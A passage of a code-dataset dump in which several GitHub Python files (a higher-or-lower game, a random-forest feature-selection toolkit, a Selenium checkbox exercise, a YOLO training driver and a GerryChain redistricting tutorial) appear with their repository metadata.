getItemById(id, item):\n with open(f\"db_json/{item}.json\", \"r+\") as file:\n data = json.load(file)\n for p in data[item]:\n if p[\"id\"] == id:\n return p\n return False", "repo_name": "thehatb0y/Estudos", "sub_path": "registration.py", "file_name": "registration.py", "file_ext": "py", "file_size_in_byte": 7697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 35, "usage_type": "call"}, {"api_name": "json.load", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 67, "usage_type": "call"}, {"api_name": "json.load", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 103, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 120, "usage_type": "call"}, {"api_name": "json.load", "line_number": 134, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 161, "usage_type": "name"}, {"api_name": "json.load", "line_number": 168, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 181, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 186, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 186, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 195, "usage_type": "call"}, {"api_name": "json.load", "line_number": 198, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 203, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 207, "usage_type": "call"}, {"api_name": "json.load", "line_number": 215, "usage_type": "call"}]} {"seq_id": "27726071234", "text": "import random \nimport art \nimport game_data\nfrom replit import clear\n\ndef higher_lower ():\n print(art.logo)\n end = False\n score = 0\n while(not end):\n a=random.choice(game_data.data)\n b=random.choice(game_data.data)\n print(f\"Compare A : {a['name']}, {a['description']}, {a['country']}\")\n print(art.vs)\n print(f\"Compare B : {b['name']}, {b['description']}, {b['country']}\")\n opt = input(\"who has more following? Type 'A' or 'B' : \")\n if (opt == 'A' and a['follower_count']>b['follower_count']):\n score +=1\n clear()\n print(art.logo)\n print(f\"You are right current score {score}\")\n elif (opt == 'B' and a['follower_count'] thresh else \"black\")\n\n # plt.tight_layout()\n plt.ylabel('True label', fontsize=13)\n plt.xlabel('Predicted label', fontsize=13)\n\n\ndef split_data(data, labels, Ntrain, Nval, method):\n \n if method.find('class') >= 0:\n list_of_train = ind_VfoldCross(labels, Ntrain)\n else:\n list_of_train = random.sample(range(data.shape[0]),Ntrain)\n list_of_rest = diff(range(len(data)), list_of_train)\n X_sub = data[list_of_rest, :]\n Y_sub = labels[list_of_rest]\n if method.find('class')>=0:\n list_of_val = ind_VfoldCross(Y_sub, Nval)\n else:\n list_of_val = random.sample(range(X_sub.shape[0]),Nval)\n list_of_test = diff(range(len(X_sub)), list_of_val)\n\n data_tr = data[list_of_train, :]\n data_tr = np.array(data_tr, dtype=\"float64\")\n labels_tr = labels[list_of_train]\n if method.find('class')>=0:\n labels_tr = [str(labels_tr[t][0]) for t in range(0, len(labels_tr))]\n else:\n labels_tr = [str(labels_tr[t]) for t in range(0, len(labels_tr))]\n\n data_vl = X_sub[list_of_val, :]\n data_vl = np.array(data_vl, dtype=\"float64\")\n labels_vl = Y_sub[list_of_val]\n if method.find('class')>=0:\n labels_vl = [labels_vl[t][0] for t in range(0, len(labels_vl))]\n else:\n labels_vl = [labels_vl[t] for t in range(0, len(labels_vl))]\n\n data_ts = X_sub[list_of_test, :]\n data_ts = np.array(data_ts, dtype=\"float64\")\n labels_ts = Y_sub[list_of_test]\n if method.find('class')>=0:\n labels_ts = [labels_ts[t][0] for t in range(0, len(labels_ts))]\n else:\n labels_ts = [labels_ts[t] for t in range(0, len(labels_ts))]\n\n return data_tr, labels_tr, data_vl, labels_vl, data_ts, labels_ts\n\n\ndef RandomForestFI(data_tr, labels_tr, method):\n\n t = time.time()\n if method.find('class')>=0:\n rf = RandomForestClassifier(n_estimators=200, n_jobs=-1)\n else:\n rf = RandomForestRegressor(n_estimators=200, n_jobs=-1)\n rf = rf.fit(data_tr, labels_tr)\n print('RF done!')\n importances = rf.feature_importances_\n importRF_all = importances / max(importances)\n indicesRF = np.argsort(importRF_all, axis=None)[::-1]\n elapsed = time.time() - t\n print('time of RF using all features: ', elapsed)\n return rf, importRF_all, indicesRF\n\n\ndef GRRFoptimization(lambda0, gamma, importRF_all, indicesRF,\n data_tr, labels_tr, data_vl, labels_vl, Niter, method):\n summary = []\n for lam in lambda0:\n for gam in gamma:\n if gam != 0 or lam != 0:\n if method.find('class')>=0:\n OAgrrf = []\n kgrrf = []\n else:\n RMSEgrrf = []\n Rgrrf = []\n\n BestcoefReg = (1 - gam) * lam + gam * importRF_all\n if method.find('class')>=0:\n grrf = RRF.RRF(robjects.r.matrix(data_tr, nrow=data_tr.shape[0],\n ncol=data_tr.shape[1]),\n robjects.vectors.FactorVector(labels_tr),\n flagReg=1, coefReg=BestcoefReg)\n else:\n grrf = RRF.RRF(robjects.r.matrix(data_tr, nrow=data_tr.shape[0],\n ncol=data_tr.shape[1]), \n robjects.vectors.FloatVector(labels_tr),\n flagReg=1, coefReg=BestcoefReg)\n selected_features = grrf.rx2('feaSet')\n selected_features = np.array([x - 1 for x in selected_features])\n\n col = selected_features\n colRF = indicesRF[0:len(col)]\n\n for N2 in range(Niter):\n X_train1 = data_tr[:, col]\n X_val1 = data_vl[:, col]\n\n if method.find('class')>=0:\n grrf_F = RandomForestClassifier(n_estimators=200, n_jobs=-1)\n else:\n grrf_F = RandomForestRegressor(n_estimators=200, n_jobs=-1)\n grrf_F = grrf_F.fit(X_train1, labels_tr)\n\n Ypred_GRRF = grrf_F.predict(X_val1)\n\n if method.find('class')>=0:\n Ypred_GRRF = [int(i) for i in Ypred_GRRF]\n OA_GRRF = accuracy_score(labels_vl, Ypred_GRRF)\n kappa_GRRF = cohen_kappa_score(labels_vl, Ypred_GRRF)\n else:\n rmse_grrf = np.sqrt(np.mean((labels_vl-Ypred_GRRF) ** 2)) \n r_grrf = np.corrcoef(labels_vl,Ypred_GRRF)[1, 0]\n\n X_train1 = data_tr[:, colRF]\n X_val1 = data_vl[:, colRF]\n\n if method.find('class')>=0:\n rf_F = RandomForestClassifier(n_estimators=200, n_jobs=-1)\n else:\n rf_F = RandomForestRegressor(n_estimators=200, n_jobs=-1)\n\n rf_F = rf_F.fit(X_train1, labels_tr)\n Ypred_RF = rf_F.predict(X_val1)\n\n if method.find('class')>=0:\n Ypred_RF = [int(i) for i in Ypred_RF]\n OA_RF = accuracy_score(labels_vl, Ypred_RF)\n print(['gamma: ' + str(gam) + ' and lambda ' + str(lam) + ' select '\n + str(len(colRF))+' features:' + ' GRRF OA= ' + str(OA_GRRF*100)\n + ' and RFsel OA= ' + str(OA_RF*100)])\n\n OAgrrf.append(OA_GRRF)\n kgrrf.append(kappa_GRRF)\n else:\n rmse_rf = np.sqrt(np.mean((labels_vl-Ypred_RF) ** 2))\n\n print(['gamma: ' + str(gam) + ' and lambda ' + str(lam) + ' select '\n + str(len(colRF))+' features:' + ' GRRF RMSE= ' + str(rmse_grrf)\n + ' and RFsel RMSE= ' + str(rmse_rf)])\n RMSEgrrf.append(rmse_grrf)\n Rgrrf.append(r_grrf)\n\n if method.find('class')>=0:\n OA1 = np.mean(OAgrrf)\n K1 = np.mean(kgrrf)\n results = [gam, lam, OA1, K1]\n else:\n RMSE1 = np.mean(RMSEgrrf)\n R1 = np.mean(Rgrrf)\n results = [gam, lam, RMSE1, R1] \n summary.append(results)\n\n return summary\n\n\ndef SelectedGRRFfeatures(BestGamma, BestLambda, importRF_all, data_tr, labels_tr,\n data_vl, labels_vl, method):\n BestcoefReg = (1 - BestGamma) * BestLambda + BestGamma * importRF_all\n X_train = np.concatenate((data_tr, data_vl), axis=0)\n Y_train = np.concatenate((labels_tr, labels_vl), axis=0)\n\n if method.find('class')>=0:\n final_grrf = RRF.RRF(robjects.r.matrix(X_train, nrow=X_train.shape[0], ncol=X_train.shape[1]),\n robjects.vectors.FactorVector(Y_train),\n flagReg=1, coefReg=BestcoefReg)\n else:\n final_grrf = RRF.RRF(robjects.r.matrix(X_train, nrow=X_train.shape[0],\n ncol=X_train.shape[1]), \n robjects.vectors.FloatVector(Y_train),\n flagReg=1, coefReg=BestcoefReg)\n\n selected_features = final_grrf.rx2('feaSet')\n importances = final_grrf.rx2('importance')\n # Indices python start 0 and in R in 1:\n selected_features = np.array([x - 1 for x in selected_features])\n\n importances = importances[selected_features]\n importances = importances / np.max(importances)\n indices = np.argsort(importances, axis=None)[::-1]\n\n return indices, importances, selected_features\n\n\ndef prediction(data_tr, labels_tr, data_ts, labels_ts, classes_names, method, selected_features=None):\n\n if selected_features is not None:\n X_train = data_tr[:, selected_features]\n X_ts = data_ts[:, selected_features]\n else:\n X_train = data_tr\n X_ts = data_ts\n\n if method.find('class')>=0:\n final = RandomForestClassifier(n_estimators=200, n_jobs=-1)\n else:\n final = RandomForestRegressor(n_estimators=200, n_jobs=-1)\n final = final.fit(X_train, labels_tr)\n\n Ypred = final.predict(X_ts)\n if method.find('class')>=0:\n Ypred = [int(i) for i in Ypred]\n\n output1 = accuracy_score(labels_ts, Ypred)\n output3 = cohen_kappa_score(labels_ts, Ypred)\n output2 = confusion_matrix(labels_ts, Ypred)\n output4 = classification_report(labels_ts, Ypred, target_names=classes_names)\n else:\n output1 = np.sqrt(np.mean((labels_ts - Ypred) ** 2))\n output2 = np.mean(labels_ts-Ypred)\n output3 = np.mean(np.abs(labels_ts-Ypred))\n output4 = np.corrcoef(labels_ts,Ypred)[1, 0]\n \n return final, output1, output2, output3, output4\n\n\ndef mapping(final, data_total, labels_total, selected_features, nr, nc, method):\n\n if len(selected_features) > 0:\n X_total = data_total[:, selected_features]\n else:\n X_total = data_total\n Yimage = final.predict(X_total)\n if method.find('class')>=0:\n Yimage = np.array([int(i) for i in Yimage]).reshape(nr * nc, 1)\n Yimage[labels_total == 0] = 0\n Yimage = Yimage.reshape((nr, nc))\n return Yimage\n", "repo_name": "EIzquierdo/GRRF-optimization", "sub_path": "Tools.py", "file_name": "Tools.py", "file_ext": "py", "file_size_in_byte": 11452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rpy2.robjects.packages.importr", "line_number": 16, "usage_type": "call"}, {"api_name": "rpy2.robjects.numpy2ri.activate", "line_number": 19, "usage_type": "call"}, {"api_name": "rpy2.robjects.numpy2ri", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 33, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 36, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 48, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 61, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 84, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 125, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 132, "usage_type": "call"}, {"api_name": "time.time", "line_number": 133, "usage_type": "call"}, {"api_name": "rpy2.robjects.r.matrix", "line_number": 153, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 153, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 153, "usage_type": "name"}, {"api_name": "rpy2.robjects.vectors.FactorVector", "line_number": 155, "usage_type": "call"}, {"api_name": "rpy2.robjects.vectors", "line_number": 155, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 155, "usage_type": "name"}, {"api_name": "rpy2.robjects.r.matrix", "line_number": 158, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 158, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 158, "usage_type": "name"}, {"api_name": "rpy2.robjects.vectors.FloatVector", "line_number": 160, "usage_type": "call"}, {"api_name": "rpy2.robjects.vectors", "line_number": 160, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 160, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 163, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 173, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 175, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 182, "usage_type": "call"}, {"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 186, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 234, "usage_type": "call"}, {"api_name": "rpy2.robjects.r.matrix", "line_number": 237, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 237, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 237, "usage_type": "name"}, {"api_name": "rpy2.robjects.vectors.FactorVector", "line_number": 238, "usage_type": "call"}, {"api_name": "rpy2.robjects.vectors", "line_number": 238, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 238, "usage_type": "name"}, {"api_name": "rpy2.robjects.r.matrix", "line_number": 241, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 241, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 241, "usage_type": "name"}, {"api_name": "rpy2.robjects.vectors.FloatVector", "line_number": 243, "usage_type": "call"}, {"api_name": "rpy2.robjects.vectors", "line_number": 243, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 243, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 253, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 268, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 270, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 277, "usage_type": "call"}, {"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 278, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 279, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 298, "usage_type": "call"}]} {"seq_id": "10263613440", "text": "import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nURL = \"https://the-internet.herokuapp.com/checkboxes\"\n\ndef checkboxes(check1, check2):\n\n driver = webdriver.Chrome()\n try:\n driver.get(URL)\n checks = driver.find_elements(By.CSS_SELECTOR,\"#checkboxes > input[type=checkbox]\")\n chk_check1= checks[0]\n chk_check2= checks[1]\n\n chk_check1_checked =chk_check1.get_property(\"checked\")\n chk_check2_checked =chk_check2.get_property(\"checked\")\n\n if (chk_check1_checked and not check1) or (not chk_check1_checked and check1):\n chk_check1.click()\n if (chk_check2_checked and not check2) or (not chk_check2_checked and check2):\n chk_check2.click()\n\n\n finally:\n time.sleep(3)\n driver.close()\n\n\ncheckboxes(True, True)\ncheckboxes(True, False)\ncheckboxes(False, False)\ncheckboxes(False, True)\n", "repo_name": "rok28/my-proyect", "sub_path": "ejercicio6.py", "file_name": "ejercicio6.py", "file_ext": "py", "file_size_in_byte": 916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 13, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 13, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}]} {"seq_id": "30043091980", "text": "import commands\nimport argparse\nfrom utils import get_list_from_file, makefile, get_file_list_from_dir, check_pattern_exist, makedir\n\nrun_darknet = \"/home/sap/da_yolo/darknet\"\nbase = \"/home/sap/da_yolo/da_yolo\"\ntrain_base = \"sim10k\"\nval_base = \"cityscapes1_val\"\nplot_base = \"plot\"\npretrain_path = \"/data1/sap/backup/darknet53.conv.74\"\ngpus = \"0\"\ndata_name = \"obj.data\"\ncfg_name = \"obj.cfg\"\nloss_name = \"loss.log\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--base\", default=base)\nparser.add_argument(\"--train_base\", default=train_base)\nparser.add_argument(\"--val_base\", default=val_base)\nparser.add_argument(\"--plot_base\", default=plot_base)\nparser.add_argument(\"--pretrain_path\", default=pretrain_path)\nparser.add_argument(\"--gpus\", default=gpus)\nparser.add_argument(\"--data_name\", default=data_name)\nparser.add_argument(\"--cfg_name\", default=cfg_name)\nparser.add_argument(\"--loss_name\", default=loss_name)\nargs = parser.parse_args()\n\nbase = args.base\ntrain_base = args.train_base\nval_base = args.val_base\nplot_base = args.plot_base\npretrain_path = args.pretrain_path\ngpus = args.gpus\ndata_name = args.data_name\ncfg_name = args.cfg_name\nloss_name = args.loss_name\n\ndef get_backup_path_from_train_data(train_data_pah):\n content_list = get_list_from_file(train_data_pah) \n for content in content_list :\n a, b = content.split(\"=\")\n if a.strip() == \"backup\":\n return b.strip() + '/'\n\ndef darknet_map(darknet, data, cfg, wgt, log):\n makefile(log)\n cmd_write_name = \"echo \\\"#\\\" \" + wgt + \" >> \" + log\n _, _ = commands.getstatusoutput(cmd_write_name)\n cmd_map = darknet + \" detector map \" + data + \" \" + cfg + \" \" + wgt + \" >> \" + log\n print(cmd_map)\n _, output = commands.getstatusoutput(cmd_map)\n\ndef darknet_multiple_map(darknet, data, cfg, wgt_dir, log, is_dont_100 = True, is_dont_final = True):\n wgt_list = get_file_list_from_dir(wgt_dir)\n if(is_dont_100) : \n pattern = '.*_100.weights'\n wgt_list = [wgt for wgt in wgt_list if not check_pattern_exist(wgt, pattern)]\n if(is_dont_final) : \n pattern = '.*_final.weights'\n wgt_list = [wgt for wgt in wgt_list if not check_pattern_exist(wgt, pattern)]\n size = len(wgt_list)\n for i, wgt in enumerate(wgt_list) :\n print(i, '/', size)\n darknet_map(darknet, data, cfg, wgt, log) \n\nif __name__ == \"__main__\" :\n train_data_path = base + \"/\" + train_base + \"/\" + data_name \n train_cfg_path = base + \"/\" + train_base + \"/\" + cfg_name\n train_loss_path = base + \"/\" + train_base + \"/\" + loss_name\n train_backup_path = get_backup_path_from_train_data(train_data_path)\n makedir(train_backup_path)\n \n val_data_path = base + \"/\" + val_base + \"/\" + data_name \n val_backup_path = train_backup_path\n val_map_path = base + \"/\" + val_base + \"/map_\" + val_base + \"_with_\" + train_base + \".log\"\n\n plot_save_path = base + \"/\" + plot_base + \"/map_\" + val_base + \"_with_\" + train_base + \".png\"\n\n train_yolo = run_darknet + \" detector train \" + train_data_path + \" \" + train_cfg_path + \" \" + pretrain_path + \" -dont_show -gpus \" + gpus + \" > \" + train_loss_path\n plot_yolo = \"python /home/sap/script_da/yolo/plot_yolo_log.py \" + train_loss_path + \" \" + val_map_path + \" \" + plot_save_path\n\n #print(train_yolo)\n #_, output = commands.getstatusoutput(train_yolo)\n #print(output)\n #darknet_multiple_map(run_darknet, val_data_path, train_cfg_path, val_backup_path, val_map_path)\n print(plot_yolo)\n #_, output = commands.getstatusoutput(plot_yolo)\n #print(output)\n", "repo_name": "solapark/script_da", "sub_path": "yolo/run_train_map_plot.py", "file_name": "run_train_map_plot.py", "file_ext": "py", "file_size_in_byte": 3565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.get_list_from_file", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.makefile", "line_number": 46, "usage_type": "call"}, {"api_name": "commands.getstatusoutput", "line_number": 48, "usage_type": "call"}, {"api_name": "commands.getstatusoutput", "line_number": 51, "usage_type": "call"}, {"api_name": "utils.get_file_list_from_dir", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.check_pattern_exist", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.check_pattern_exist", "line_number": 60, "usage_type": "call"}, {"api_name": "utils.makedir", "line_number": 71, "usage_type": "call"}]} {"seq_id": "74291670944", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis script gets you started with the GerryChain package.\r\n\"\"\"\r\n\r\n### https://gerrychain.readthedocs.io/en/latest/user/recom.html\r\n### https://gerrychain.readthedocs.io/en/latest/user/quickstart.html\r\n\r\n## Import needed functions from library\r\nfrom gerrychain import Graph, Partition, Election\r\nfrom gerrychain.updaters import Tally, cut_edges\r\nfrom gerrychain import MarkovChain\r\nfrom gerrychain.constraints import single_flip_contiguous\r\nfrom gerrychain.proposals import propose_random_flip\r\nfrom gerrychain.accept import always_accept\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom gerrychain import (GeographicPartition, proposals, updaters, constraints, accept)\r\nfrom gerrychain.tree_proposals import recom\r\nfrom functools import partial\r\nimport tqdm\r\n\r\n\r\n## Parameters\r\npennDataPathPrefix = \"\"\r\nshpFileSuffix = \"PA_VTD.shp\"\r\njsonFileSuffix = \"PA_VTD.json\"\r\n\r\n\r\n\r\n#### Import Data\r\n\r\n#### The Graph.from_file() classmethod creates a Graph of the precincts in our\r\n#### shapefile. By default, this method copies all of the data columns from the\r\n#### shapefile’s attribute table to the graph object as node attributes.\r\n#### The contents of this particular shapefile’s attribute table are summarized\r\n#### in the mggg-states/PA-shapefiles GitHub repo.\r\n\r\n#### Depending on the size of the state, the process of generating an adjacency\r\n#### graph can take a bit of time. To avoid having to repeat this process in\r\n#### the future, we call graph.to_json() to save the graph in the NetworkX\r\n#### json_graph format under the name \"PA_VTD.json.\r\n\r\ngraph = Graph.from_file(pennDataPathPrefix+shpFileSuffix)\r\n\r\ngraph.to_json(pennDataPathPrefix+jsonFileSuffix)\r\n\r\n## Simple Example\r\n\r\n#### In order to run a Markov chain, we need an adjacency Graph of our VTD\r\n#### geometries and Partition of our adjacency graph into districts.\r\n#### This Partition will be the initial state of our Markov chain.\r\n\r\n#### We configure an Election object representing the 2012 Senate\r\n#### election, using the USS12D and USS12R vote total columns from our\r\n#### shapefile. The first argument is a name for the election (\"SEN12\"), and\r\n#### the second argument is a dictionary matching political parties to their\r\n#### vote total columns in our shapefile. This will let us compute hypothetical\r\n#### election results for each districting plan in the ensemble.\r\n\r\nelection = Election(\"SEN12\", {\"Dem\": \"USS12D\", \"Rep\": \"USS12R\"})\r\n\r\n#### Finally, we create a Partition of the graph. This will be the starting\r\n#### point for our Markov chain.\r\n\r\ninitial_partition = Partition(\r\n graph,\r\n assignment=\"2011_PLA_1\",\r\n updaters={\r\n \"cut_edges\": cut_edges,\r\n \"population\": Tally(\"TOT_POP\", alias=\"population\"),\r\n \"SEN12\": election\r\n }\r\n)\r\n\r\n#### With the \"population\" updater configured, we can see the total population\r\n#### in each of our congressional districts. In an interactive Python session,\r\n#### we can print out the populations like this:\r\n\r\nfor district, pop in initial_partition[\"population\"].items():\r\n print(\"District {}: {}\".format(district, pop))\r\n\r\n#### Notice that partition[\"population\"] is a dictionary mapping the ID of each\r\n#### district to its total population (that’s why we can call the .items()\r\n#### method on it). Most updaters output values in this dictionary format.\r\n\r\n#### For more information on updaters, see the gerrychain.updaters documentation.\r\n\r\n#### Running a chain\r\n#### Now that we have our initial partition, we can configure and run a Markov\r\n#### chain. Let’s configure a short Markov chain to make sure everything works\r\n#### properly.\r\n\r\nchain = MarkovChain(\r\n proposal=propose_random_flip,\r\n constraints=[single_flip_contiguous],\r\n accept=always_accept,\r\n initial_state=initial_partition,\r\n total_steps=1000\r\n)\r\n\r\n#### The above code configures a Markov chain called chain, but does not run it\r\n#### yet. We run the chain by iterating through all of the states using a for\r\n#### loop. As an example, let’s iterate through this chain and print out the\r\n#### sorted vector of Democratic vote percentages in each district for each\r\n#### step in the chain.\r\n\r\nfor partition in chain:\r\n print(sorted(partition[\"SEN12\"].percents(\"Dem\")))\r\n\r\n#### That’s all: you’ve run a Markov chain!\r\n\r\n#### To analyze the Republican vote percentages for each districting plan in\r\n#### our ensemble, we’ll want to actually collect the data, and not just print\r\n#### it out. We can use a list comprehension to store these vote percentages,\r\n#### and then convert it into a pandas DataFrame.\r\n\r\nd_percents = [sorted(partition[\"SEN12\"].percents(\"Dem\")) for partition in chain]\r\n\r\ndata = pd.DataFrame(d_percents)\r\n\r\n#### This code will collect data from a different ensemble than our for loop\r\n#### above. Each time we iterate through the chain object, we run a fresh new\r\n#### Markov chain (using the same configuration that we defined when\r\n#### instantiating chain).\r\n\r\n#### The pandas DataFrame object has many helpful methods for analyzing and\r\n#### plotting data. For example, we can produce a boxplot of our ensemble’s\r\n#### Democratic vote percentage vectors, with the initial 2011 districting plan\r\n#### plotted in red, in just a few lines of code:\r\nax = data.boxplot()\r\ndata.iloc[0].plot(style=\"ro\", ax=ax)\r\n\r\nplt.show()\r\n\r\n#### (Before you over-analyze this data, keep in mind that this is a toy\r\n#### ensemble of just one thousand plans created by single flips.)\r\n\r\n#### Recon Sample\r\n#### This document shows how to run a chain using the ReCom proposal used in\r\n#### MGGG’s 2018 Virginia House of Delegates report.\r\n\r\n#### Our goal is to use ReCom to generate an ensemble of districting plans for\r\n#### Pennsylvania, and then make a box plot comparing the Democratic vote\r\n#### shares for plans in our ensemble to the 2011 districting plan that the\r\n#### Pennsylvania Supreme Court found to be a Republican-favoring partisan\r\n#### gerrymander.\r\n\r\n#### Setting up the initial districting plan\r\n#### We configure Election objects representing some of the election data from\r\n#### our shapefile.\r\n\r\nelections = [\r\n Election(\"SEN10\", {\"Democratic\": \"SEN10D\", \"Republican\": \"SEN10R\"}),\r\n Election(\"SEN12\", {\"Democratic\": \"USS12D\", \"Republican\": \"USS12R\"}),\r\n 